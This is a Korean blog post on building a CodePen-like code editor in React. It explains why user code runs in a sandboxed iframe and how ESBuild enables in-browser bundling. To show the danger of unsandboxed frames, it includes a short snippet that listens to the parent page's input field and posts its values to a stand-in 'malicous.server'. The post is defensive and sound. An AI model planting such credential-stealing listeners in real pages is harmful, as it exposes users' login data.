개발 목표
Code Pen이라는 온라인 코딩 툴 사이트가 있다. - https://codepen.io/
해당 사이트와 같이 코드를 입력하고 번들링하여 실시간으로 보여주는 사이트를 React로 만들고자 한다. 단, 로그인과 같은 인증 기능은 제외한다.
코드 입력 창에서 발생할 수 있는 문제점
간단하게 만들 수 있을 것 같았지만 코드를 입력하는 창을 구현하기 위해서는 아래와 같은 이슈사항들이 있었다.
- 코드 입력창에 오류를 발생시키는 문법 등의 잘못된 코드가 작성될 수 있다.
- DOM을 조작하는 코드로 인해 예상하지 못한 현상이 발생할 수 있다.
ex) document.body.innerHTML = ‘’; - 사용자가 악의적인 코드를 넣을 수 있다.
ex) for (var i = 0; i < 99999999999999999; i++) { console.log(i); }
iframe 사용하여 해결
상기와 같은 문제점을 해결하기 위해서 HTML의 iframe을 사용해야 한다. iframe은 일반적으로 child frame이며, 그외의 요소는 parent frame에 속한다. 여기서 중요한 것은 JavaScript EC(execution context)가 parent/child frame 별로 각각 따로 존재하고 실행된다는 것이다. 즉, iframe에서 문제가 발생하더라도 iframe의 EC에서만 오류가 발생하고, Front App의 EC에는 영향을 주지 않는다.
그렇다면 어떻게 사용자가 입력한 코드를 iframe로 넣어 실행할 수 있을까? ‘child frame’에서 ‘parent frame’의 정보를 가져올 때는 ‘parent’ 문법을 사용하면 된다. 크롬 개발자 도구의 ‘console’ 탭에서 ‘child iframe’ 요소를 선택 후 ‘parent’를 입력하면 ‘parent frame’의 ‘Window 객체’ 나타나는 것을 확인 할 수 있다. 반대로 ‘parent frame’에서 ‘child iframe’의 정보를 가져올 때는 ‘document.querySelector(‘iframe’).contentWindow’ 문법을 사용하면 된다.
추가적으로 알아야할 사항은 iframe이 항상 parent와 child frame의 커뮤니케이션을 허용하는 것은 아니라는 점이다. iframe은 아래와 같은 조건에서만 parent/child가 서로 접근할 수 있다.
- iframe에 ‘sandbox’ 프로퍼티가 없는 경우
- sandbox의 프로퍼티가 존재하지만, ‘sandbox=”allow-same-origin”‘인 경우
- parent/child의 HTML document가 같은 domain, port, protocol(http vs https)인 경우
parent/child 직접 통신 방식의 문제점 및 해결방법
하지만, parent/child frame이 서로 직접 접근할 수 있으면 많은 문제점이 발생한다. 예를 들어, 해커가 사용자의 코드 입력 창에 아래와 같은 악의적인 코드를 넣을 수 있다. 이를 통해 해커는 ‘child frame’에서 ‘parent frame’의 input element’를 가져올 수 있다. 이후 eventListener를 사용하여 악의적인 서버로 개인 및 로그인 정보를 보낼 수 있다.
document.querySelector('input').addEventListener('change', function => {
axios.post('malicous.server', {
value: event.target.value
})
})
이외에도 쿠키와 세션 정보 등을 갈취할 수 있을 것이다. 이러한 이유로 Code Pen 사이트에서도 parent/child가 직접 통신하는 방식으로 구현하지 않았다.
아래는 Code Pen 사이트의 데이터 흐름을 정리한 것이다.
- 사용자가 코드를 입력하면 ‘codepen.io’ 서버에 코드를 전송한다.
- codepen.io 서버에서 코드 Transpiling 프로세스가 완료된다.
- codepen.io 서버에서 코드 Transpiling 프로세스가 완료된다.
- 전송된 코드를 바로 Frontend App에서 실행하는 것이 아니라 iframe을 먼저 Reload 시킨다. (Reload는 새로고침과 유사)
- Reload가 될 때, ‘copn.io’ 서버에 요청하여 iframe에서 보여질 HTML document를 가져온다. 즉, iframe은 다른 도메인을 통해서 로드된다.
- HTML document 요소를 가져온 뒤, ‘codepen.io’ 서버에서 Transpiling된 JS 코드를 다시 ‘cdpn.io’에 전송 후 돌려받는다. 해당 JS 코드를 실행하며 끝난다.
* 참고 : 사이트에서 코드를 입력하면 개발자 도구 Network 탭에서 통신을 확인할 수 있다.
흐름을 살펴보면 Front App과 iframe간의 직접 통신하는 부분이 없다는 것을 확인할 수 있다. 이는 위에서 설명했듯이 악의적인 코드가 브라우저에서 실행되는 것을 방지하기 위해서이다.
대부분의 ‘온라인 코딩 툴 사이트’는 위와 같은 구조를 가지고 있다. 하지만 서버를 2개나 사용하고 데이터 흐름도 복잡하다. 쉬운 방법은 없을까? 브라우저 내에서 코드를 Transpiling을 하면 더 간편한 로직으로 만들 수 있다.
ESbuild를 사용한 코드 번들링 간소화
기존 Code Pen 사이트의 경우 코드 Transpiling을 아래의 그림과 같이 BackEnd에서 진행하는 복잡한 구조를 가지고 있다.
하지만, ESBuild를 사용하면 아래의 그림과 같이 브라우저 내에서 코드 Transpiling을 진행할 수 있다. 브라우저 코드 Transpiling 방법을 설명하기에는 너무 길어져 별도의 포스팅에서 확인할 수 있다.
이를 통해 코드 Transpiling을 위한 서버를 생략할 수 있다. ESbuild는 브라우저 자체에서 JS 코드를 실행 한다. 따라서 기존의 ‘cdpn.io’ 서버에서 진행했던 JS 파일 실행 프로세스도 생략 가능하다. 최종적으로 ‘cdpn.io’ 서버에는 HTML document를 fetch하는 부분만 남는다. 이는 parent document에 접근하지 못하도록하는 오직 하나의 보안상의 이유로만 존재한다. 그런데 하나의 보안상의 이유로 서버를 사용하는 것이 비효율적이다. 서버를 사용하지 않는 해결 방법은 없을까?
우리는 이미 위에서 iframe이 “sandbox=’allow-same-origin’” 프로퍼티를 가지고 있으면 frame간의 직접 커뮤니케이션이 가능하다는 것을 배웠다. 이를 뒤집어 생각하면 “sandbox=’'”와 같은 empty string을 사용하면 서버 없이 frame간의 간접 커뮤니케이션이 가능하다. 즉, 서버 없이 동일한 보안 목적을 달성할 수 있는 것이다. 최종적으로 아래와 같은 간단한 구조로 구현이 가능하다.
최종적인 패턴의 흐름은 아래와 같다.
- 유저가 코드를 작성하면 iframe이 reload 된다.
- Frontend App에 작성한 HTML document를 가져와 iframe에 load한다.
- iframe 내부에서 JS 코드 번들이 진행된다. 이때 sandbox=’’ 옵션으로 parent와 외부 document에 접근이 불가하다.
간소화가 되었지만 여기에도 단점은 존재한다. localStorage, cookie 등과 같은 곳에 접근하지 못하는 것이다. 즉, 코드 입력창에 “localStorage.getItem(‘userInfo’)”와 같은 구분을 입력했을 때 동작하지 않는다. 구현이 간단해진만큼 기능이 없어지는 타협점이다.
'Javascript' 카테고리의 다른 글
[Javascript] 자바스크립트란 어떤 언어인가? (0) | 2024.02.05 |
---|---|
[JavaScript] 호이스팅(hoisting)이란? (1) | 2024.01.30 |
[JavaScript] 클로저(Closures) - 활용편(2/2) (0) | 2024.01.05 |
[JavaScript] 클로저(Closures) - 활용편(1/2) (2) | 2024.01.04 |
[JavaScript] 클로저(Closures) - 개념편 (0) | 2024.01.02 |